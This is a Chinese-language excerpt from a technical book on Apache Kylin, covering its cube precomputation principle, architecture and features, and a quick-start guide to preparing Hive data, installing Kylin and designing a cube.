        Apache Kylin的初衷就是解决千亿、万亿条记录的秒级查询问题,其中的关键就是打破查询时间随着数据量呈线性增长的这一规律。仔细思考大数据OLAP,我们可以注意到两个事实。

        • 大数据查询要的一般是统计结果,是多条记录经过聚合函数计算后的统计值。原始的记录则不是必需的,或者被访问的频率和概率极低。
        • 聚合是按维度进行的,而维度的聚合可能性是有限的,一般不随数据的膨胀而线性增长。

        基于以上两点,我们得到一个新的思路—“预计算”。应尽量多地预先计算聚合结果,在查询时刻也尽量使用预计算的结果得出查询结果,从而避免直接扫描可能无限增长的原始记录。
        举例来说,要用下面的SQL来查询10月1日那天销量最高的商品。
        image.png
        传统的方法需要扫描所有的记录,找到10月1日的销售记录,然后按商品聚合销售额,最后排序返回。假如10月1日有1亿条交易,那么查询必需读取并累计至少1亿条记录,且查询速度会随将来销量的增加而逐步下降,如果日交易量提高至2亿条,那查询执行的时间可能会增加一倍。
        而预计算的方法则会事先按维度[sell_date, item]计算SUM(sell_amount)并将其存储下来,在查询时找到10月1日的销售商品就可以直接排序返回了。读取的记录数最大不超过维度[sell_date, item]的组合数。显然这个数字将远远小于实际的销售记录,比如10月1日的1亿条交易包含了100万种商品,那么预计算后就只有100万条记录了,是原来的百分之一。并且这些记录是已经按商品聚合的结果,省去了运行时的聚合运算。从未来的发展来看,查询速度只会随日期和商品数目的增长而变化,与销售记录总数不再有直接联系。假如日交易量提高一倍到2亿,但只要商品总数不变,那么预计算的结果记录总数就不会变,查询的速度也不会变。
        “预计算”就是Kylin在“大规模并行处理”和“列式存储”之外,提供给大数据分析的第三个关键技术。

        1.3 Apache Kylin的工作原理

        Apache Kylin的工作原理本质上是MOLAP(Multidimensional Online Analytical Processing) Cube,也就是多维立方体分析。这是数据分析中相当经典的理论,在关系型数据库年代就有广泛应用,下面对其做简要介绍。

        1.3.1 维度和度量简介

        在说明MOLAP Cube之前,需要先介绍一下维度(dimension)和度量(measure)这两个概念。
        简单来讲,维度就是观察数据的角度。比如电商的销售数据,可以从时间的维度来观察(如图1-2的左图所示),也可以进一步细化从时间和地区的维度来观察(如图1-2的右图所示)。维度一般是一组离散的值,比如时间维度上的每一个独立的日期,或者商品维度上的每一件独立的商品。因此,统计时可以把维度值相同的记录聚合起来,应用聚合函数做累加、平均、去重复计数等聚合计算。
        image.png
        度量就是被聚合的统计值,也是聚合运算的结果,它一般是连续值,如图1-2中的销售额,抑或是销售商品的总件数。通过比较和测算度量,分析师可以对数据进行评估,比如今年的销售额相比去年有多大的增长、增长的速度是否达到预期、不同商品类别的增长比例是否合理等。

        1.3.2 Cube和Cuboid

        了解了维度和度量,就可以对数据表或者数据模型上的所有字段进行分类了,它们要么是维度,要么是度量(可以被聚合)。于是就有了根据维度、度量做预计算的Cube理论。
        给定一个数据模型,我们可以对其上所有维度进行组合。对于N个维度来说,所有组合的可能性有2N种。对每一种维度的组合,将度量做聚合运算,运算的结果保存为一个物化视图,称为Cuboid。将所有维度组合的Cuboid作为一个整体,被称为Cube。所以简单来说,一个Cube就是许多按维度聚合的物化视图的集合。
        举一个具体的例子。假定有一个电商的销售数据集,其中维度有时间(Time)、商品(Item)、地点(Location)和供应商(Supplier),度量有销售额(GMV)。那么,所有维度的组合就有24=16种(如图1-3所示),比如一维度(1D)的组合有TimeLocation四种;二维度(2D)的组合有Time, ItemTime、SupplierItem, Supplier六种;三维度(3D)的组合也有四种;最后,零维度(0D)和四维度(4D)的组合各有一种,共计16种组合。
        计算Cuboid,就是按维度来聚合销售额(GMV)。如果用SQL来表达计算Cuboid [Time, Location],那就是:
        select Time, Location, Sum(GMV) as GMV from Sales group by Time, Location
        image.png
        将计算的结果保存为物化视图,所有Cuboid物化视图的总称就是Cube了。

        1.3.3 工作原理

        Apache Kylin的工作原理就是对数据模型做Cube预计算,并利用计算的结果加速查询。过程如下:
        (1)指定数据模型,定义维度和度量。
        (2)预计算Cube,计算所有Cuboid并将其保存为物化视图。
        (3)执行查询时,读取Cuboid,进行加工运算产生查询结果。
        由于Kylin的查询过程不会扫描原始记录,而是通过预计算预先完成表的关联、聚合等复杂运算,并利用预计算的结果来执行查询,因此其速度相比非预计算的查询技术一般要快一个到两个数量级。并且在超大数据集上其优势更明显。当数据集达到千亿乃至万亿级别时,Kylin的速度甚至可以超越其他非预计算技术1000倍以上。

        1.4 Apache Kylin的技术架构

        Apache Kylin系统可以分为在线查询和离线构建两部分,其技术架构如图1-4所示。在线查询主要由上半区组成,离线构建在下半区。
        先看离线构建的部分。从图1-4中可以看到,数据源在左侧,目前主要是Hadoop、Hive、Kafka和 RDBMS,其中保存着待分析的用户数据。根据元数据定义,下方构建引擎从数据源中抽取数据,并构建Cube。数据以关系表的形式输入,且必须符合星形模型(Star Schema)或雪花模型(Snowflake Schema)。用户可以选择使用MapReduce或Spark进行构建。构建后的Cube保存在右侧的存储引擎中,目前HBase是默认的存储引擎。
        image.png
        完成离线构建后,用户可以从上方查询系统发送SQL来进行查询分析。Kylin提供了多样的REST API、JDBC/ODBC接口。无论从哪个接口进入,最终SQL都会来到REST服务层,再转交给查询引擎进行处理。这里需要注意的是,SQL语句是基于数据源的关系模型书写的,而不是Cube。Kylin在设计时刻意对查询用户屏蔽了Cube的概念,分析师只需要理解简单的关系模型就可以使用Kylin,没有额外的学习门槛,传统的SQL应用也更容易迁移。查询引擎解析SQL,生成基于关系表的逻辑执行计划,然后将其转译为基于Cube的物理执行计划,最后查询预计算生成的Cube产生结果。整个过程不访问原始数据源。
        对于查询引擎下方的路由选择,在最初设计时考虑过将Kylin不能执行的查询引导到Hive中继续执行。但在实践后发现Hive与Kylin的执行速度差异过大,导致用户无法对查询的速度有一致的期望,大多语句很可能查询几秒就返回了,而有些要等几分钟到几十分钟,用户体验非常糟糕。最后这个路由功能在发行版中默认被关闭。
        Apache Kylin v1.5版本引入了“可扩展架构”的概念。图1-4所示为Rest Server、Cube Build Engine和数据源表示的抽象层。可扩展是指Kylin可以对其三个主要依赖模块—数据源、构建引擎和存储引擎,做任意的扩展和替换。在设计之初,作为Hadoop家族的一员,这三者分别是Hive、MapReduce和HBase。但随着Apache Kylin的推广和使用的深入,用户发现它们存在不足之处。
        比如,实时分析可能会希望从Kafka导入数据而不是从Hive;而Spark的迅速崛起,又使我们不得不考虑将MapReduce替换为Spark以提高Cube的构建速度;至于HBase,它的读性能可能不如Cassandra等。可见,是否可以将某种技术替换为另一种技术已成为一个常见的问题。于是,我们对Apache Kylin v1.5版本的系统架构进行了重构,将数据源、构建引擎、存储引擎三大主要依赖模块抽象为接口,而Hive、MapReduce、HBase只是默认实现。其他实现还有:数据源还可以是Kafka、Hadoop或RDBMS;构建引擎还可以是Spark、Flink。资深用户可以根据自己的需要做二次开发,将其中的一个或者多个技术替换为更适合自身需要的技术。
        这也为Kylin技术的与时俱进奠定了基础。如果将来有更先进的分布式计算技术可以取代MapReduce,或者有更高效的存储系统全面超越了HBase,Kylin可以用较小的代价将一个子系统替换掉,从而保证Kylin紧跟技术发展的最新潮流,保持最高的技术水平。
        可扩展架构也带来了额外的灵活性,比如,它可以允许多个引擎并存。例如,Kylin可以同时对接Hive、Kafka和其他第三方数据源;抑或用户可以为不同的Cube指定不同的构建引擎或存储引擎,以期达到极致的性能和功能定制。

        1.5 Apache Kylin的主要特点

        Apache Kylin的主要特点包括支持SQL接口、支持超大数据集、秒级响应、可伸缩性、高吞吐率、BI及可视化工具集成等。

        1.5.1 标准SQL接口

        尽管Apache Kylin内部以Cube技术为核心,对外却没有选用MDX(MultiDimensional eXpression)作为接口,而是以标准SQL接口作为对外服务的主要接口。MDX作为OLAP查询语言,从学术上来说是更加适合Kylin的选择,但实践表明,SQL是绝大多数分析人员最熟悉的工具,也是大多数应用程序使用的编程接口,它不仅简单易用,也代表了绝大多数用户的第一需求。
        SQL需要以关系模型作为支撑,Kylin使用的查询模型是数据源中的关系模型表,一般而言也就是指Hive表。终端用户只需要像原来查询Hive表一样编写SQL查询语句,就可以无缝地切换到Kylin,几乎不需要进行额外的学习,甚至原本的Hive查询也因为与SQL同源,大多无须修改就能直接在Kylin上运行。标准SQL接口是Kylin能够快速推广的一个关键原因。
        当然,Apache Kylin将来也可能推出MDX接口。事实上已经可以通过MDX转SQL的工具,让Kylin也能支持MDX。

        1.5.2 支持超大数据集

        Apache Kylin对大数据的支撑能力可能是目前所有技术中最为先进的。2015年在eBay的生产环境中,Kylin就能支持百亿条记录的秒级查询,之后在移动应用场景下又有了千亿条记录秒级查询的案例。这些都是实际场景的应用,而非实验室中的理论数据。
        因为使用了Cube预计算技术,在理论上,Kylin可以支撑的数据集大小没有上限,仅受限于存储系统和分布式计算系统的承载能力,并且查询速度不会随数据集的增大而减慢。Kylin在数据集规模上的局限性主要在于维度的个数和基数。它们一般由数据模型决定,不随数据规模的增加而线性增长,也就意味着,Kylin对未来数据增长有着更强的适应能力。
        截至2019年1月 ,除了eBay作为孵化公司有广泛应用之外,国内外一线的互联网公司几乎都大规模地使用Apache Kylin,包括美团、百度、网易、京东、唯品会、小米、Strikingly、Expedia、Yahoo!JAPAN、Cisco等。此外,在传统行业中也有非常多的实际应用,包括中国移动、中国联通、中国银联、太平洋保险等。

        1.5.3 亚秒级响应

        Apache Kylin有优异的查询响应速度,这得益于预计算,很多复杂的计算如连接、聚合,在离线的预计算过程中就已经完成,这大大降低了查询时所需的计算量,提高了查询响应速度。
        根据可查询到的公开资料显示,Apache Kylin在某生产环境中90%的查询可以在3秒内返回结果。这不是说一部分SQL相当快,而是在数万种不同的应用SQL的真实生产系统中,绝大部分的查询非常迅速;在另一个真实案例中,对1000多亿条数据构建了立方体,90%的查询性能在1.18s以内,可见Kylin在超大规模数据集上表现优异。这与一些只在实验室中,只在特定查询情况下,采集的性能数据不可同日而语。
        当然,并不是使用Apache Kylin就一定能获得最好的性能。针对特定的数据及查询模式,往往需要做进一步的性能调优、配置优化等,性能调优对于充分利用Apache Kylin至关重要。

        1.5.4 可伸缩性和高吞吐率

        在保持高速响应的同时,Kylin有着良好的可伸缩性和很高的吞吐率。图1-5是网易的性能分享。左图是Apache Kylin与Mondrian/Oracle的查询速度的对比,可以看到在三个测试查询中,Kylin的查询速度分别比Mondrian/Oracle快147倍、314倍和59倍。
        同时右图展现了Apache Kylin的高吞吐率和可伸缩性。在一个Apache Kylin实例中,Apache Kylin每秒可以处理近70个查询,已经远远高于每秒20个查询的一般水平。更理想的是,随着服务器的增加,其吞吐率也呈线性增加,在存在4个实例时达到每秒230个查询左右,而这4个实例仅部署在一台机器上,理论上添加更多的应用服务器后可以支持更高的并发率。
        image.png
        这主要还是归功于预计算降低了查询时所需的计算总量,使Apache Kylin可以在相同的硬件配置下承载更多的并发查询。

        1.5.5 BI及可视化工具集成

        Apache Kylin提供了丰富的API与现有的BI工具集成,包括:

        • ODBC接口:与Tableau、Excel、Power BI等工具集成。
        • JDBC接口:与Saiku、BIRT等Java工具集成。
        • Rest API:与JavaScript、Web网页集成。

        分析师可以继续使用他们最熟悉的BI工具与Apache Kylin一同工作,或者在开放的API上做二次开发和深度定制。
        另外,Apache Kylin的核心团队也贡献了Apache Zeppelin及Apache Superset的插件,Strikingly的工程师为Redash 贡献了Apache Kylin连接器,用户可以使用Zeppelin、Superset、Redash等免费可视化工具来访问Redash Kylin。

        1.6 与其他开源产品的比较

        与Apache Kylin一样致力于解决大数据查询问题的其他开源产品也有不少,比如Apache Drill、Apache Impala、Druid、Hive、Presto、SparkSQL等。本节将Apache Kylin与它们做一个简单的比较。
        从底层技术的角度来看,这些开源产品有很大的共性,一些底层技术几乎被所有的产品一致采用,Apache Kylin也不例外。

        • 大规模并行处理 (MPP):可以通过增加机器的方式来扩容处理速度,在相同的时间内处理更多的数据。
        • 列式存储:通过按列存储提高单位时间内数据的I/O吞吐率,还能跳过不需要访问的列。
        • 索引:利用索引配合查询条件,可以迅速跳过不符合查询条件的数据块,仅扫描需要扫描的数据内容。
        • 压缩:压缩数据然后存储,使得存储的密度更高,在有限的I/O速率下,在单位时间内读取更多的记录。

        我们注意到,所有这些方法都只是提高了单位时间内计算机处理数据的能力,当大家都采用这些技术时,彼此之间的区别将只停留在实现层面的代码细节上。最重要的是,这些技术都不会改变一个事实,那就是处理时间与数据量之间的正比例关系。
        当数据量翻倍,在不扩容的前提下,MPP需要两倍的时间来完成计算;列式存储需要两倍的存储空间;索引下符合条件的记录数也会翻倍;压缩后的数据大小也是之前的两倍。因此,查询速度也会随之变成之前的一半。当数据量十倍百倍地增加时,这些技术的查询速度就会十倍百倍地下降,最终无法完成查询。
        Apache Kylin的特色在于,在上述底层技术之外,另辟蹊径地使用了独特的Cube预计算技术。预计算事先将数据按维度组合进行了聚合,将结果保存为物化视图。经过聚合,物化视图的规模就只由维度的基数决定,而不再随数据量的增加呈线性增长。以电商为例,如果业务扩张,交易量增加了10倍,只要交易数据的维度不变(供应商/商品种类数量不变),聚合后的物化视图依旧是原先的大小,查询的速度也将保持不变。
        与同类产品相比,这一底层技术的区别使得Apache Kylin从外在功能上呈现出不同的特性,具体如下:

        • SQL接口:除了Druid以外,所有的产品都支持SQL或类SQL接口。巧合的是,Druid也是除了Apache Kylin以外,相对查询性能最好的一个。这除了归功于Druid有自己的存储引擎之外,也可能得益于其较为受限的查询能力。
        • 大数据支持:大多数产品的查询能力在亿级到十亿级之间,更大的数据量将显著降低其查询性能。而Apache Kylin因为采用预计算技术,其查询速度不受数据量限制。有实际案例证明,在数据量达千亿级别时,Apache Kylin系统仍然能保持秒级别的查询性能。
        • 查询速度:如前所述,一般产品的查询速度都不可避免地随数据量的增加而下降。而Apache Kylin则更能够在数据量成倍增加的同时保持查询速度不变。而且这个差距将随着数据量的成倍增加而变得愈加明显。
        • 吞吐率:根据之前的实验数据,Apache Kylin的单服务器吞吐量一般在每秒70~150个查询,并且可以线性扩展。而普通的产品因为所有计算都在查询时完成,所以需要调动集群更多的资源才能完成查询,通常极限在每秒20个查询左右,而且扩容成本较高,需要扩展整个集群。相对地,Apache Kylin系统因其“瓶颈”不在于整个集群,而在于Apache Kylin服务器,因此只需要增加Apache Kylin服务器就能成倍提高吞吐率,扩容成本低廉。

        1.7 小结

        本章介绍了Apache Kylin的背景历史和技术特点。尤其是它基于预计算的大数据查询原理,理论上它可以在任意大的数据规模上达到O(1)常数级别的查询速度,这是Apache Kylin与传统查询技术的关键区别,如图1-6所示。传统技术如大规模并行计算和列式存储的查询速度都在O(N)级别,与数据规模呈线性关系。如果数据规模扩大10倍,那么O(N)的查询速度就下降1/10,无法满足日益增长的数据分析需求。依靠Apache Kylin,我们不用再担心查询速度会随数据量的增加而降低,能更有信心面对未来的数据挑战。
        image.png

        ]]>
        带你读《Apache Kylin权威指南》之二:快 速 入 门 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        快 速 入 门

        第1章介绍了Apache Kylin的概况,以及它与其他SQL-on-Hadoop技术的不同,相信读者对Apache Kylin有了一个整体的认识。本章将详细介绍Apache Kylin的一些核心概念,然后带领读者一步步创建Cube,构建Cube,并通过SQL来查询Cube,使读者对Apache Kylin有更为直观的了解。

        2.1 核心概念

        在使用Apache Kylin之前,需要先了解一下Apache Kylin中的各种概念和术语,为后续章节的学习奠定基础。

        2.1.1 数据仓库、OLAP与BI

        数据仓库(Data Warehouse)是一种信息系统的资料储存理论,此理论强调的是利用某些特殊资料储存方式,让所包含的资料特别有利于分析处理,从而产生有价值的资讯并依此做决策。
        利用数据仓库方式存放的资料,具有一旦存入,便不随时间变化而变动的特性,此外,存入的资料必定包含时间属性,通常,一个数据仓库会含有大量的历史性资料,并且它利用特定分析方式,从中发掘出特定的资讯。
        OLAP(Online Analytical Process),即联机分析处理,它可以以多维度的方式分析数据,并且能弹性地提供上卷(Roll-up)、下钻(Drill-down)和透视分析(Pivot)等操作,是呈现集成性决策信息的方法,其主要功能在于方便大规模数据分析及统计计算,多用于决策支持系统、商务智能或数据仓库。与之相区别的是联机交易处理(OLTP),联机交易处理侧重于基本的、日常的事务处理,包括数据的增、删、改、查。

        • OLAP需要以大量历史数据为基础,配合时间点的差异并对多维度及汇整型的信息进行复杂的分析。
        • OLAP需要用户有主观的信息需求定义,因此系统效率较高。

        OLAP的概念,在实际应用中存在广义和狭义两种不同的理解。广义上的理解与字面意思相同,泛指一切不对数据进行更新的分析处理,但更多的情况下OLAP被理解为狭义上的含义,即与多维分析相关,是基于立方体(CUBE)计算而进行的分析。
        BI(Business Intelligence),即商务智能,是指用现代数据仓库技术、在线分析技术、数据挖掘和数据展现技术进行数据分析以实现商业价值。
        如今,许多企业已经建立了自己的数据仓库,用于存放和管理不断增长的数据,这些数据中蕴含着丰富的商业价值,但只有使用分析工具对其进行大量筛选、计算和展示后,数据中蕴含的规律、价值和潜在信息才能被人们所发现与利用。分析人员结合这些信息进行商业决策和市场活动,从而为用户提供更好的服务,为企业创造更大的价值。

        2.1.2 维度建模

        维度建模用于决策制定,并侧重于业务如何表示和理解数据。基本的维度模型由维度和度量两类对象组成。维度建模尝试以逻辑、可理解的方式呈现数据,以使得数据的访问更加直观。维度设计的重点是简化数据和加快查询。
        维度模型是数据仓库的核心。它经过精心设计和优化,可以为数据分析和商业智能(BI),检索并汇总大量的相关数据。在数据仓库中,数据修改仅定期发生,并且是一次性开销,而读取是经常发生的。对于一个数据检索效率比数据处理效率重要得多的数据结构而言,非标准化的维度模型是一个不错的解决方案。
        在数据挖掘中有几种常见的多维数据模型,如星形模型(Star Schema)、雪花模型(Snowflake Schema)、事实星座模型(Fact Constellation)等。
        星形模型中有一个事实表,以及零个或多个维度表,事实表与维度表通过主键外键相关联,维度表之间没有关联,就像很多星星围绕在一个恒星周围,故名为星形模型。
        如果将星形模型中的某些维度表再做规范,抽取成更细的维度表,让维度表之间也进行关联,那么这种模型称为雪花模型。
        事实星座模型是更为复杂的模型,其中包含多个事实表,而维度表是公用的,可以共享。

        2.1.3 事实表和维度表

        事实表(Fact Table)是指存储事实记录的表,如系统日志、销售记录等,并且是维度模型中的主表,代表着键和度量的集合。事实表的记录会不断地动态增长,所以它的体积通常远大于其他表,通常事实表占据数据仓库中90%或更多的空间。
        维度表(Dimension Table),也称维表或查找表(Lookup Table),是与事实表相对应的一种表。维度表的目的是将业务含义和上下文添加到数据仓库中的事实表和度量中。维度表是事实表的入口点,维度表实现了数据仓库的业务接口。它们基本上是事实表中的键引用的查找表。它保存了维度的属性值,可以与事实表做关联,相当于将事实表上经常出现的属性抽取、规范出来用一张表进行管理,常见的维度表有:日期表(存储日期对应的 周、月、季度等属性)、地点表(包含国家、省/州、城市等属性)等。使用维度表的好处如下:

        • 减小了事实表的大小;
        • 便于维度的管理和维护,增加、删除和修改维度的属性时,不必对事实表的大量记录进行改动;
        • 维度表可以为多个事实表同时使用,减少重复工作。

        2.1.4 维度和度量

        维度和度量是数据分析中的两个基本概念。
        维度是人们观察数据的特定角度,是考虑问题时的一类属性。它通常是数据记录的一个特征,如时间、地点等。同时,维度具有层级概念,可能存在细节程度不同的描述方面,如日期、月份、季度、年等。
        在数据仓库中,可以在数学上求和的事实属性称为度量。例如,可以对度量进行总计、平均、以百分比形式使用等。度量是维度模型的核心。通常,在单个查询中检索数千个或数百万个事实行,其中对结果集执行数学方程。
        在一个SQL查询中,Group By的属性通常就是维度,而其所计算的值则是度量,如在下面这个查询中,part_dt和lstg_site_id是维度,sum(price)和count(distinct seller_id)是度量。

        select part_dt, lstg_site_id, sum(price) as total_selled, count(distinct seller_id)
        as sellers from kylin_sales group by part_dt, lstg_site_id

        2.1.5 Cube、Cuboid和Cube Segment

        Cube(或称Data Cube),即数据立方体,是一种常用于数据分析与索引的技术,它可以对原始数据建立多维度索引,大大加快数据的查询效率。
        Cuboid特指Apache Kylin中在某一种维度组合下所计算的数据。
        Cube Segment指针对源数据中的某一片段计算出来的Cube数据。通常,数据仓库中的数据数量会随时间的增长而增长,而Cube Segment也是按时间顺序构建的。

        2.2 在Hive中准备数据

        上一节介绍了Apache Kylin中的常见概念。在本节中将介绍准备Hive数据时的一些注意事项。需要进行分析的数据必须先保存为Hive表的形式,只有这样Apache Kylin才能从Hive中导入数据、创建Cube。
        Apache Hive是一个基于Hadoop的数据仓库工具,最初由Facebook开发并贡献到Apache软件基金会。Hive可以将结构化的数据文件映射为数据库表,并可以将SQL语句转换为MapReduce或Tez任务运行,从而让用户以类SQL(HiveQL,HQL)的方式管理和查询Hadoop上的海量数据。
        此外,Hive提供了多种方式(如命令行、API和Web服务等)供第三方方便地获取和使用元数据并进行查询。今天,Hive已经成为Hadoop数据仓库的首选,是Hadoop不可或缺的一个重要组件,很多项目都兼容或集成Hive。鉴于此,Apache Kylin选择Hive作为原始数据的主要来源。
        在Hive中准备待分析的数据是使用Apache Kylin的前提。将数据导入Hive表的方法很多,用户管理数据的技术和工具也多种多样,故其具体步骤不在本书的讨论范围之内,如有需要可以参阅Hive的文档。这里着重阐述几个需要注意的事项。

        2.2.1 多维数据模型

        目前Apache Kylin既支持星形数据模型,也支持雪花数据模型,这是基于以下考虑:
        星形模型与雪花模型是最为常用的数据模型;
        由于只有一个大表,相比于其他模型更适合大数据处理;
        其他模型可以通过一定的转换,变为星形模型或雪花模型。

        2.2.2 维度表的设计

        除了数据模型以外,Apache Kylin还对维度表有一定的要求,如:
        1)要具有数据一致性。主键值必须唯一,Apache Kylin会进行检查,如果有两行数据的主键相同,则系统就会报错。
        2)维度表越小越好。Apache Kylin支持选择是否将维度表加载到内存中以供查询,过大的表不适合作为维度表,默认的阈值是300Mb。
        3)改变频率低。Apache Kylin会在每次构建中试图重用维度表快照,如果维度表经常改变的话,重用就会失效,这会导致要经常对维度表创建快照。
        4)维度表最好不是Hive视图(View),虽然在Apache Kylin v1.5.3中加入了对维度表是视图的支持,但每次都需要将视图物化,导致额外的时间成本。

        2.2.3 Hive表分区

        Hive表支持多分区(partition)。简单来说,一个分区就是一个文件目录,存储了特定的数据文件。当有新的数据生成的时候,可以将数据加载到指定的分区,读取数据的时候也可以指定分区。对于SQL查询,如果查询中指定了分区列的属性条件,则Hive会智能地选择特定分区(目录),从而避免全量数据的扫描,减少读写操作对集群的压力。
        下面的一组SQL语句,演示了如何使用分区:

        Hive> create table invites (id int, name string) partitioned by (ds string) row format
        delimited fields terminated by 't' stored as textfile;?
        Hive> load data local inpath '/user/hadoop/data.txt' overwrite into table invites
        partition (ds='2016-08-16');?
        
        Hive> select * from invites where ds ='2016-08-16';

        Apache Kylin支持增量的Cube构建,通常是按时间属性来增量地从Hive表中抽取数据。如果Hive表正好是按此时间属性做分区的话,那么可以利用到Hive分区的好处,每次Hive构建的时候可以直接跳过不相干日期的数据,节省Cube构建的时间。这样的列在Apache Kylin里也称为分割时间列(partition time column),通常它应该也是Hive表的分区列。

        2.2.4 了解维度的基数

        维度的基数(Cardinality)指的是该维度在数据集中出现的不同值的个数。例如,“国家”是一个维度,有200个不同的值,那么此维度的基数是200。通常,一个维度的基数为几十到几万,个别维度如“用户ID”的基数会超过百万甚至千万,基数超过一百万的维度通常被称为超高基数维度(Ultra High Cardinality,UHC),需要引起设计者的注意。
        Cube中所有维度的基数可以体现Cube的复杂度,如果一个Cube中有多个超高基数维度,那么这个Cube膨胀的几率就会很高。在创建Cube前对所有维度的基数做一个了解,可以帮助设计合理的Cube。计算基数有多种途径,最简单的方法就是让Hive执行一个count distinct的SQL查询,同时Apache Kylin也提供了计算基数的方法,这部分内容会在2.4.1节中进行介绍。

        2.2.5 样例数据

        如果需要一些简单数据来快速体验Apache Kylin,也可以使用Apache Kylin自带的样例数据。运行“${KYLIN_HOME}/bin/sample.sh”来导入样例数据,然后就能继续按下面的流程创建模型和Cube。下面的示例和配图都是基于样例数据制作的。

        2.3 安装和启动Apache Kylin

        如果数据已经在Hive中准备好,并已经满足2.2节介绍的条件,那么就可以开始安装和使用Apache Kylin了。本节将介绍Apache Kylin的安装环境及启动方法。

        2.3.1 环境准备

        众所周知,Apache Kylin依赖于Hadoop集群处理大量数据集。因此在安装Apache Kylin之前必须准备Hadoop环境。由于Apach Hadoop版本管理混乱,推荐安装Cloudera CDH或Hortonworks HDP等商业Hadoop发行版。

        2.3.2 必要组件

        准备好Hadoop环境之后,还需要安装一些应用以支持Apache Kylin的分析查询,其中必不可少的有YARN、HDFS、MapReduce、Hive、HBase、Zookeeper和其他一系列服务以保证Apache Kylin的运行稳定可靠。

        2.3.3 启动Apache Kylin

        一切准备就绪之后,就能够启动Apache Kylin了。首先从Apache Kylin下载一个适用Hadoop版本的二进制文件,解压相应的二进制文件,并配置环境变量KYLIN_HOME指向Kylin文件夹。之后运行“$KYLIN_HOME/bin/kylin.sh start”脚本启动Apache Kylin。
        Apache Kylin 启动后,可以通过浏览器“http://:7070/kylin”进行访问。其中,“”为具体的机器名、IP 地址或域名,默认端口为“7070”,初始用户名和密码为“ADMIN/KYLIN”。服务器启动后,您可以通过查看“$KYLIN_HOME/logs/kylin.log”获得运行日志。

        2.4 设计Cube

        如果数据已经在Hive中准备好,并已经满足2.3节介绍的条件,那么就可以开始设计和创建Cube了,本节将按常规的步骤介绍Cube是如何创建的。

        2.4.1 导入Hive表定义

        登录Apache Kylin的Web界面,创建新的或选择一个已有项目后,需要做的就是将Hive表的定义导入Apache Kylin。
        点击 Web界面的“Model”→“Data source”下的“Load Hive Table Metadata”图标,然后输入表的名称(可以一次导入多张表,以逗号分隔表名)(如图2-1所示),点击按钮“Sync”,Apache Kylin就会使用Hive的API从Hive中获取表的属性信息。
        导入成功后,表的结构信息会以树状形式显示在页面的左侧,可以点击展开或收缩,如图2-2所示。
        image.png
        同时,Apache Kylin会在后台触发一个MapReduce任务,计算此表每个列的基数。通常稍过几分钟后刷新页面,就会看到基数信息显示出来,如图2-3所示。
        image.png
        需要注意的是,这里Apache Kylin对基数的计算采用的是HyperLogLog的近似算法,与精确值略有误差,但作为参考值已经足够。

        2.4.2 创建数据模型

        有了表信息后,就可以开始创建数据模型了。数据模型(Data Model)是Cube的基础,主要根据分析需求进行设计。有了数据模型以后,定义Cube的时候就可以直接从此模型定义的表和列中进行选择了,省去了重复指定连接(JOIN)条件的步骤。基于一个数据模型可以创建多个Cube,方便减少用户的重复性工作。
        在Apache Kylin界面的“Model”页面,点击“New”→“New Model”命令,开始创建数据模型。给模型输入名称后,选择一个事实表(必需的),然后添加维度表(可选),如图2-4所示。
        image.png
        添加维度表的时候,首先选择表之间的连接关系,同时选择表之间的连接类型:是inner jion还是left jion,并为创建的维度表输入别名。同时可以选择是否将其以快照(Snapshot)形式存储到内存中以供查询。当维度表小于300MB时,推荐启用维度表以快照形式存储,以简化Cube计算和提高系统整体效率。当维度表超过300MB上限时,则建议关闭维度表快照,以提升Cube构建的稳定性与查询的性能。然后选择连接的主键和外键,这里也支持多主键,如图2-5所示。
        image.png
        接下来选择用作维度和度量的列。这里只是选择一个范围,不代表这些列将来一定要用作 Cube的维度或度量,你可以把所有可能会用到的列都选进来,后续创建Cube的时候,将只能从这些列中进行选择。
        选择维度列时,维度可以来自事实表或维度表,如图2-6所示。
        image.png
        选择度量列时,度量只能来自事实表或不加载进内存的维度表,如图2-7所示。
        image.png
        最后一步,是为模型补充分割时间列信息和过滤条件。如果此模型中的事实表记录是按时间增长的,那么可以指定一个日期/时间列作为模型的分割时间列,从而可以让Cube按此列做增量构建,关于增量构建的具体内容参见第4章。
        过滤(Filter)条件是指,如果想把一些记录忽略掉,那么这里可以设置一个过滤条件。Apache Kylin在向Hive请求源数据的时候,会带上此过滤条件。如图2-8所示,会只保留金额(price)大于0的记录。
        image.png
        最后,点击“Save”保存此数据模型,随后它将出现在“Model”的列表中。

        2.4.3 创建Cube

        本节简单介绍了创建Cube时的各种配置选项,但是由于篇幅限制,这里没有对Cube的配置和优化进行进一步展开介绍。读者可以在后续的章节(如第3章“Cube优化”)中找到关于Cube的配置和优化的更详细的介绍。接下来开始Cube的创建。点击“New”→“New Cube”命令会开启一个包含若干步骤的向导。
        第一步,选择要使用的数据模型,并为此Cube输入一个唯一的名称(必需的)和描述(可选)(如图2-9所示);这里还可以输入一个邮件通知列表,以在构建完成或出错时收到通知。如果不想接收在某些状态的通知,可以从“Notification Events”中将其去掉。
        image.png
        第二步,添加Cube的维度。点击“Add Dimension”按钮添加维度,Apache Kylin会用一个树状结构呈现出所有列,用户只需勾选想要的列即可,同时需要为每个维度输入名字,可以设定是普通维度或是衍生(Derived)维度(如图2-10所示)。如果被设定为衍生维度的话,由于这些列值都可以从该维度表的主键值中衍生出来,所以实际上只有主键列会被Cube加入计算。而在Apache Kylin的具体实现中,往往采用事实表上的外键替代主键进行计算和存储。但是逻辑上可以认为衍生列来自维度表的主键。
        第三步,创建度量。Apache Kylin支持的度量有SUM、MIN、MAX、COUNT、COUNT_DISTINCT、TOP_N、EXTENDED_COLUMN、PERCENTILE等。默认Apache Kylin会创建一个Count(1)度量。
        image.png
        可以通过点击“Bulk Add Measure”按钮批量添加度量。目前对于批量添加度量,Apache Kylin只支持SUM、MIN、MAX等简单函数。只需要选择度量类型,然后再选择需要计算的列,如图2-11所示。
        image.png
        如果需要添加复杂度量,可以点击“+Measure”按钮来添加新的度量。请选择需要的度量类型,然后再选择适当的参数(通常为列名)。图2-12所示为一个SUM(price)的示例。
        重复以上操作,创建所需要的度量。Apache Kylin可以支持在一个Cube中有上百个的度量,添加完所有度量后,点击“Next”按钮,如图2-13所示。
        image.png
        image.png
        第四步,进行关于Cube数据刷新的设置(如图2-14所示)。在这里可以设置自动合并的阈值、自动合并触发时保留的阈值、数据保留的最小时间,以及第一个Segment的起点时间(如果Cube有分割时间列),详细内容请参考第4章。
        第五步,高级设置。在此页面可以设置维度聚合组和Rowkey属性。
